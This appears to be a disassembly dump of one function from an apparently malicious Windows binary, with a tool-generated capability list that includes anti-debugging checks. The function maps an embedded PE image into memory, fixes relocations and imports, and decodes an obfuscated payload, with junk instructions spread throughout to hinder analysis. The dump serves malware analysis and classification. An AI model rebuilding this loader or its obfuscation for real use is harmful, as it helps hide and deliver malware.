Function at 0x401300
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Create thread
Encode data using base64
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x2c1d0
call fcn.00404760
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x28e10]
lea eax, [0x4153e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x28e00
call fcn.004052d0
sbb esi, 0xf4
mov eax, 0xdd
ror eax, 0x15
ror edi, 0x57
or edx, 0x51
or edx, 0x4a
add edi, 0xa1
sub esi, 0x35
sbb edx, 0x81
add ebx, 0x26
and ebx, 0x40
rcr edx, 0xde
mov ebx, 0x9d
imul eax
or esi, 0x12
not edx
dec ebx
or ebx, 0x32
and edx, 0x77
not eax
dec eax
neg edx
inc ebx
bswap edx
mov edx, 0xf4
imul eax
sub ebx, 0xaa
rcl ebx, 0xcf
ror edi, 0xa4
dec edi
bswap esi
sub ebx, 0xca
and edx, 0xc9
bswap eax
rol edi, 0x7a
and esi, 0xbf
dec edi
and ebx, 0xbd
or ebx, 0x12
rol edi, 0x22
not eax
sbb edi, 0x92
add edi, 0x7d
rcr ebx, 0xfe
rol ebx, 0xff
imul eax
rcr edx, 0x14
mov edi, 0x74
bswap edi
rcl edi, 0xe0
rcr ebx, 0xc
inc eax
not esi
neg eax
not esi
not eax
neg edi
sbb edx, 0x84
sub esi, 0xe1
and ebx, 0x33
or ebx, 0x51
inc eax
inc eax
mov edi, 0xbe
neg edi
not ebx
imul esi
not eax
rcl esi, 0xb8
ror edi, 0x42
rcl ebx, 0x95
imul edx
rol edi, 0x35
dec esi
and eax, 0x9e
bswap esi
inc eax
not edx
dec edi
rcr ebx, 0x19
inc edi
sbb edx, 0x6b
or edx, 0xfe
inc edx
sbb eax, 0x92
not esi
dec esi
imul eax
rol eax, 0x27
bswap ebx
neg edi
bswap edx
dec esi
sbb eax, 0x29
not edi
rcl eax, 6
sbb edx, 0x89
ror edi, 0xb8
neg edi
sbb eax, 0x15
inc edi
not edi
rcr esi, 0xb9
ror edi, 0xeb
not ebx
or edx, 0x5f
and esi, 0xff
rol edx, 0x24
imul ebx
sub ebx, 0x9e
sbb ebx, 0x7c
and esi, 0x58
bswap edi
neg edx
dec edi
dec edi
inc edi
neg edx
rcl esi, 0xd3
mov eax, 0x96
rcl eax, 0x54
or eax, 0xf8
neg eax
inc edi
rcl edi, 0x7c
bswap eax
add edx, 0x61
dec eax
inc ebx
bswap edx
bswap ebx
rcr ebx, 0xcf
neg esi
inc eax
rcr edx, 0x4a
add esi, 0xee
not eax
add esi, 0xf8
rcl edi, 0x1c
not edi
not ebx
inc eax
dec edi
imul esi
dec edi
rcl edi, 0x2a
imul edi
inc edi
mov edi, 0xb6
dec edx
or eax, 0x69
rcr ebx, 0x8b
mov edx, 0x64
neg esi
sub esi, 0xee
not esi
inc esi
inc edi
dec eax
sub edi, 0x8e
imul esi
imul esi
or esi, 0x90
add eax, 0x2a
ror eax, 0x20
dec edi
add eax, 0xbe
rcr edx, 0x64
dec ebx
imul edi
imul edi
dec edi
rcl eax, 0x89
dec edx
rol esi, 0xa0
inc ebx
rcl edi, 0x78
rcr ebx, 0xae
inc edi
dec ebx
not ebx
rcr ebx, 0x73
dec eax
not ebx
sub eax, 0
neg edx
dec edi
imul edx
rcl esi, 0xd9
or edx, 0x65
inc edx
bswap edi
rol edi, 0x25
neg ebx
ror ebx, 0x3e
or ebx, 0x62
dec eax
neg edx
imul edi
rcl eax, 0xce
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28e10]
mov dword [esp], eax
mov dword [esp + 4], 0x28e00
call fcn.00401080
lea eax, [ebp - 0x28e10]
mov dword [ebp + 8], eax
bswap edx
mov edi, 0x1d
neg edi
dec ebx
bswap eax
rcr ebx, 0x96
bswap esi
bswap edi
dec edi
sbb edx, 0x38
neg ebx
ror edx, 0x7c
neg edx
rcr esi, 0x26
not esi
ror esi, 0x67
bswap ebx
add esi, 0x6a
rcr eax, 0x95
mov esi, 0x10
add edi, 0x3a
and edi, 0x96
rol edi, 0x68
rcl eax, 0x65
and edi, 0x8f
ror eax, 0xa2
and ebx, 0xcc
rcr esi, 0x58
not esi
dec ebx
or edx, 0x23
or edi, 0xb1
mov edi, 0xc4
rol ebx, 0xec
rcl esi, 0x44
bswap edi
add esi, 0x5e
not esi
neg ebx
inc edi
and esi, 0x4a
or edx, 0xec
dec ebx
add edi, 0x73
add esi, 0x1e
neg ebx
or eax, 0xf9
ror eax, 0x38
rcr esi, 0x9c
imul esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28e14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x28e14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x28e18], eax
mov eax, dword [ebp - 0x28e18]
cmp dword [eax], 0x4550
je 0x401641
mov dword [ebp - 0x10], 1
jmp 0x404739
lea eax, [ebp - 0x28e28]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00405850
lea eax, [ebp - 0x28e6c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00405850
mov dword [ebp - 0x28e6c], 0x44
mov eax, dword [ebp - 0x28e18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x28e74], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x28e70], eax
mov eax, dword [ebp - 0x28e18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x2c1c0], eax
cmp dword [ebp - 0x28e70], 0
je 0x4016d2
xor eax, eax
mov dword [ebp - 0x2c1c4], eax
jmp 0x4016e1
mov eax, dword [ebp - 0x28e18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x2c1c4], eax
mov eax, dword [ebp - 0x2c1c0]
mov ecx, dword [ebp - 0x2c1c4]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x28e78], eax
cmp dword [ebp - 0x28e70], 0
jne 0x401741
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e18]
cmp eax, dword [ecx + 0x34]
je 0x401741
mov dword [ebp - 0x10], 2
jmp 0x404739
inc eax
not eax
dec edx
bswap edi
inc eax
not edi
not edi
bswap ebx
bswap esi
and esi, 0x99
rcl ebx, 0x94
and eax, 0x6a
neg eax
sub edx, 1
inc eax
ror edi, 0x7b
rcl edx, 0x28
dec eax
sbb eax, 0xff
bswap eax
inc edx
imul eax
imul edx
or edx, 0x65
mov edi, 0x7f
mov edx, 0xf6
not edi
imul ebx
imul esi
or edx, 0xb3
sbb edx, 0xc0
add ebx, 0x97
inc esi
neg eax
or eax, 0xf4
imul edx
or edi, 0x1d
and eax, 0x87
add eax, 0x74
dec ebx
not ebx
dec edx
rcr edx, 0x4d
mov edi, 0x66
rol ebx, 0xd8
ror esi, 0x1a
mov edi, 0xb8
inc eax
dec edx
dec ebx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28e78]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.004052d0
not ebx
sbb eax, 6
or ebx, 0xc8
not edx
dec ebx
dec edi
bswap edi
inc ebx
inc edi
not edx
inc eax
ror eax, 0x72
sub eax, 0xae
dec esi
bswap eax
not edx
neg edi
inc ebx
not ebx
mov eax, 0xe6
ror edx, 0x26
sbb edi, 0xac
neg eax
sbb edx, 0x59
imul eax
neg esi
bswap edi
imul ebx
sbb eax, 0xa7
neg ebx
rol edi, 0x14
sbb edx, 0x7c
bswap edi
sub ebx, 0x55
bswap esi
rcr edi, 0x98
not ebx
and edx, 0x67
and ebx, 0x97
mov ebx, 0xb7
and edx, 0x78
and ebx, 0xf
and edx, 0x70
imul edx
rcr edi, 0xe0
dec edx
add edi, 0xf4
add edi, 0x63
rol esi, 0x94
ror eax, 0x2d
sub edi, 0x3e
ror ebx, 0x31
not edi
add esi, 0xcb
not edi
mov esi, 0x26
imul edx
rcl ebx, 0xcd
bswap edi
or edi, 0xe3
not ebx
sub ebx, 0xb2
add edi, 0xab
ror esi, 0x41
dec edx
sub edx, 0x39
add esi, 0x76
inc edx
dec esi
not edi
ror ebx, 0xfa
sbb eax, 0x49
rcr edi, 0x60
or edx, 0x23
dec ebx
imul esi
imul eax
sbb esi, 0x5c
add ebx, 0x95
not esi
neg esi
and esi, 0x67
rcr esi, 0x38
ror edx, 0xfc
mov ebx, 0x7e
or edx, 0xbe
sub ebx, 0xac
imul edx
neg edi
imul eax
rol esi, 0xa6
or edi, 0xa0
rol ebx, 1
rcl edx, 0xfd
and eax, 5
bswap eax
rol edx, 0xd9
not esi
rcl eax, 2
imul edi
bswap esi
rol eax, 0x91
bswap edi
bswap ebx
sub ebx, 0x99
mov eax, 0xd9
rcl edx, 0x94
inc ebx
neg edi
dec edx
inc edx
imul edi
inc edx
imul edi
not edx
not esi
sbb edx, 0x85
or edx, 0x85
dec ebx
imul eax
neg eax
rcl edi, 0x47
mov esi, 0x73
neg esi
or esi, 0x1a
bswap esi
inc eax
bswap edx
imul esi
imul esi
bswap ebx
ror ebx, 0x9a
not ebx
imul esi
inc ebx
imul ebx
add esi, 0x86
sbb edi, 0xc7
sbb edx, 0xe6
ror ebx, 0x4a
rcl edx, 0x5c
and edx, 0x8c
neg esi
neg edx
imul ebx
imul edi
add edi, 0x46
neg edi
add edx, 0x68
imul edx
neg eax
not ebx
and esi, 0x5c
inc edx
rcr esi, 0xc3
rol edi, 0x66
neg edi
neg edi
bswap ebx
inc edx
rcl eax, 0x59
ror ebx, 0xd3
add ebx, 0xed
sbb ebx, 0xeb
neg esi
not ebx
imul ebx
dec edi
sbb edi, 0x95
add edi, 0x2a
add esi, 0xee
ror ebx, 0x1b
imul edi
rcr eax, 0x47
not ebx
dec ebx
rol eax, 0x3c
and edx, 0x98
add ebx, 0x64
dec edx
mov esi, 0x4a
inc edx
not ebx
sbb edx, 0xc7
bswap ebx
imul edx
rol ebx, 0x41
not esi
ror ebx, 0x4a
or edx, 0x70
rcl edx, 0x3b
neg edx
or ebx, 0x78
dec ebx
bswap ebx
and edi, 0xc8
rol esi, 0xf5
not ebx
dec eax
mov edi, 0xd4
bswap ebx
or esi, 0xa7
dec edx
imul edx
rcl eax, 0x4c
bswap edi
mov ebx, 0xbc
sbb edi, 0x48
inc edi
dec esi
imul eax
neg ebx
not esi
sub ebx, 0x2d
neg edx
not ebx
rcl esi, 0x67
neg ebx
inc esi
sub ebx, 0x80
not edi
add esi, 0xa1
inc edx
ror edi, 0x26
and ebx, 0x6f
or ebx, 0xf2
imul esi
inc ebx
add esi, 0x38
inc eax
rol edi, 0xbb
neg ebx
imul eax
rol ebx, 0x4b
dec eax
add ebx, 0x39
rol esi, 0xec
neg esi
rcl ebx, 0x3e
add ebx, 0x54
ror edi, 0
sbb ebx, 8
inc eax
add edi, 0x99
bswap ebx
inc eax
inc edi
ror edx, 0x7e
not eax
imul eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28e18]
add eax, 0x18
mov ecx, dword [ebp - 0x28e18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x28e7c], eax
mov dword [ebp - 0x28e80], 0
mov eax, dword [ebp - 0x28e80]
mov ecx, dword [ebp - 0x28e18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401b43
mov edx, dword [ebp - 0x28e78]
mov eax, dword [ebp - 0x28e7c]
imul ecx, dword [ebp - 0x28e80], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x28e7c]
imul esi, dword [ebp - 0x28e80], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x28e7c]
imul esi, dword [ebp - 0x28e80], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004052d0
mov eax, dword [ebp - 0x28e80]
add eax, 1
mov dword [ebp - 0x28e80], eax
jmp 0x401ac8
or eax, 0x32
bswap eax
inc edi
neg eax
or eax, 0xb1
inc esi
imul esi
imul edx
imul eax
inc eax
rcl ebx, 0xf9
sbb esi, 0x51
dec esi
neg esi
dec edx
not edx
neg edx
not edi
rcl edx, 0xbb
imul edx
rol eax, 0xb9
not ebx
and eax, 0x35
not eax
and ebx, 0x93
not edx
rcr edx, 0x17
imul edx
ror edi, 0x37
sbb esi, 0xc2
ror ebx, 0xf3
sub eax, 0x19
inc edi
or ebx, 0x41
bswap esi
neg ebx
inc esi
sbb ebx, 0xc8
imul edi
and esi, 0x5b
not edx
sub edi, 0x70
add eax, 0xcc
neg edi
bswap esi
bswap edx
rol edi, 0xbd
rcl ebx, 0x54
rol edx, 0x1c
sbb eax, 0xc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e18]
cmp eax, dword [ecx + 0x34]
je 0x401cf8
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x28e84], eax
mov eax, dword [ebp - 0x28e78]
add eax, dword [ebp - 0x28e74]
mov dword [ebp - 0x28e88], eax
mov dword [ebp - 0x28e8c], 0
mov eax, dword [ebp - 0x28e8c]
cmp eax, dword [ebp - 0x28e70]
jae 0x401cf3
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e88]
add eax, dword [ecx]
mov dword [ebp - 0x28e90], eax
mov eax, dword [ebp - 0x28e88]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x28e94], eax
mov eax, dword [ebp - 0x28e88]
add eax, 8
mov dword [ebp - 0x28e98], eax
mov dword [ebp - 0x28e9c], 0
mov eax, dword [ebp - 0x28e9c]
cmp eax, dword [ebp - 0x28e94]
jge 0x401ccd
mov eax, dword [ebp - 0x28e98]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401caa
mov ecx, dword [ebp - 0x28e84]
mov eax, dword [ebp - 0x28e90]
mov edx, dword [ebp - 0x28e98]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28e98]
add eax, 2
mov dword [ebp - 0x28e98], eax
mov eax, dword [ebp - 0x28e9c]
add eax, 1
mov dword [ebp - 0x28e9c], eax
jmp 0x401c5f
mov eax, dword [ebp - 0x28e88]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x28e8c]
mov dword [ebp - 0x28e8c], eax
mov eax, dword [ebp - 0x28e98]
mov dword [ebp - 0x28e88], eax
jmp 0x401c0c
jmp 0x401cf8
rol eax, 0xc8
neg ebx
bswap eax
sub edx, 0x5b
or edx, 0x25
rcl esi, 0x48
imul eax
add esi, 0x27
imul eax
mov edx, 0xa2
rcr edi, 0x76
ror edi, 0xdc
rcl esi, 0xd7
rcl eax, 0x77
rol eax, 0x57
inc esi
imul edi
rcl esi, 0x9e
rcl edx, 0xa4
bswap edi
bswap edx
rcr edi, 0x72
or esi, 0x9c
rcr edx, 0xd4
or edx, 0xe
not edx
sbb edi, 0x48
or edx, 0xa3
or esi, 0xdc
inc eax
rol edx, 0xab
neg edx
sbb edx, 0x99
or eax, 0x24
bswap edi
inc edx
rcr ebx, 0x88
not ebx
dec ebx
or esi, 0xfd
bswap ebx
dec eax
dec ebx
imul edi
not eax
ror esi, 0x2b
not esi
bswap eax
neg esi
ror edx, 0x60
sbb edx, 0xe7
or eax, 0xe2
not ebx
rcl edx, 0xd3
not edi
and eax, 0xd3
and ebx, 0x4b
and esi, 0x5b
mov eax, 0x55
rcr eax, 0x3d
sub edi, 0xf8
dec esi
rol edx, 0x96
ror edi, 0x5f
bswap eax
dec ebx
rcl esi, 0x86
or edi, 0xd7
imul esi
sbb ebx, 0xa4
or edi, 0xa8
sub edi, 0x3b
imul esi
ror edx, 0x65
neg eax
neg edi
imul ebx
and ebx, 0x80
imul edi
neg ebx
inc edx
inc esi
inc ebx
add eax, 0x89
bswap edx
not esi
dec ebx
rcr edx, 0x26
dec esi
bswap esi
mov edi, 0xa2
imul edx
bswap esi
neg eax
dec edi
sub eax, 0x66
sub esi, 0x25
not eax
dec ebx
rcl edi, 1
bswap esi
inc ebx
rol edx, 0xc
imul ebx
sbb edx, 0xf0
rcr esi, 0x5e
not esi
mov edi, 0x9e
neg ebx
rol edx, 0xcb
or eax, 0xea
sub eax, 8
neg ebx
inc eax
dec ebx
not esi
neg eax
neg edx
sbb esi, 0xa8
mov ebx, 0xc9
neg edi
rcl edi, 0x92
mov ebx, 0x41
neg edi
bswap esi
not eax
sbb edi, 0x83
add esi, 0xd4
or edx, 0x9b
inc ebx
sbb eax, 0xe0
mov edx, 0xd7
or edi, 0xbc
or edx, 0xfb
inc edi
add edi, 0x8a
sbb ebx, 0x44
mov edx, 0xba
mov edi, 0x56
dec eax
inc edi
mov esi, 0x6b
rol edi, 6
rcl edx, 0x34
bswap esi
rcr edi, 0x6f
or edi, 0x71
imul edx
add edx, 0x50
rol eax, 0xae
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x28ea0], eax
mov dword [ebp - 0x28ea4], 0
mov eax, dword [ebp - 0x28ea0]
imul ecx, dword [ebp - 0x28ea4], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x40204b
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28ea0]
imul edx, dword [ebp - 0x28ea4], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x28ea8], eax
mov eax, dword [ebp - 0x28ea8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x28eac], eax
cmp dword [ebp - 0x28eac], 0
jne 0x401f3a
jmp 0x402037
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28ea0]
imul edx, dword [ebp - 0x28ea4], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x28eb0], eax
mov dword [ebp - 0x28eb4], 0
mov eax, dword [ebp - 0x28eb0]
mov ecx, dword [ebp - 0x28eb4]
cmp dword [eax + ecx*4], 0
je 0x402032
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28eb0]
mov edx, dword [ebp - 0x28eb4]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x28eb8], eax
mov eax, dword [ebp - 0x28eb0]
mov ecx, dword [ebp - 0x28eb4]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x28eac]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x28ebc], eax
cmp dword [ebp - 0x28ebc], 0
jne 0x401ff3
mov eax, dword [ebp - 0x28eb8]
add eax, 2
mov ecx, dword [ebp - 0x28eac]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x28ebc], eax
mov ecx, dword [ebp - 0x28ebc]
mov eax, dword [ebp - 0x28e78]
mov edx, dword [ebp - 0x28ea0]
imul esi, dword [ebp - 0x28ea4], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x28eb4]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x28eb4]
add eax, 1
mov dword [ebp - 0x28eb4], eax
jmp 0x401f62
jmp 0x402037
mov eax, dword [ebp - 0x28ea4]
add eax, 1
mov dword [ebp - 0x28ea4], eax
jmp 0x401ed9
lea ecx, [ebp - 0x2c109]
lea eax, [0x43e1e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x324d
call fcn.004052d0
mov dword [ebp - 0x2c110], 0
cmp dword [ebp - 0x2c110], 0x324d
jae 0x403bcc
mov eax, dword [ebp - 0x2c110]
mov al, byte [ebp + eax - 0x2c109]
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x46
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x43
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x96
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x99
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 5
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 6
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 2
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x68
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 1
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x92
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xc2
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x87
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 5
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xe
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x99
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
